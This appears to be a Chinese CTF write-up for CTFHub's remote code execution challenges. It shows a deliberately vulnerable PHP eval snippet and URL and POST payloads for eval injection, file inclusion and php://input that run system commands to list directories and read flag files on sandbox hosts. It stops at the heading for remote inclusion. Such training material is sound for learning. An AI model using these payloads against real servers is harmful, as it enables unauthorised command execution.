1. 程式人生 > 其它 >CTFHUB---RCE

CTFHUB---RCE

遠端程式碼/命令執行漏洞 

1.eval執行

<?php
if (isset($_REQUEST['cmd'])) {
    eval($_REQUEST["cmd"]);
} else {
    highlight_file(__FILE__);
}
?>

request接受post和get請求,接受cmd引數

使用遠端系統命令遍歷目錄

http://challenge-51609bf458280f0b.sandbox.ctfhub.com:10800/index.php?cmd=system(%27ls%20../../../%27);

使用cat命令檢視flag

http://challenge-51609bf458280f0b.sandbox.ctfhub.com:10800/index.php?cmd=system(%27cat%20../../../flag_20969%27);

 

2.檔案包含

可以看到裡面有一個include() 函式。
首先需要了解一下,什麼是include() 的函式。

include()/require()/include_once()/require_once()引數可控的情況下,如匯入為非.php檔案,則仍按照php語法進行解析,這是include()函式所決定的。

通過 include 或 require 語句,可以將 PHP 檔案的內容插入另一個 PHP 檔案(在伺服器執行它之前)。


可以看到eval函式,將請求的引數作為命令執行。可是txt檔案是無法利用的,所以想到剛才的index頁面中,有一個include函式,或許可以利用一下.

 

我們通過get提交,將shell.txt的內容合併到index.php中,嘗試post提交ctfhub的值,發現被執行了,然後輸出了當下目錄的檔案。 接下來就是查詢flag。檢視flag了

火狐hackbar

 

 

ctfhub=system('find / -name flag');

ctfhub=system('cat /flag');

 

3.php://input

http://challenge-70a90084222015b8.sandbox.ctfhub.com:10800/?file=php://input

 

 <?php system('ls');?>

<?php system('cat ../../../flag_13152');?>

 

4.遠端包含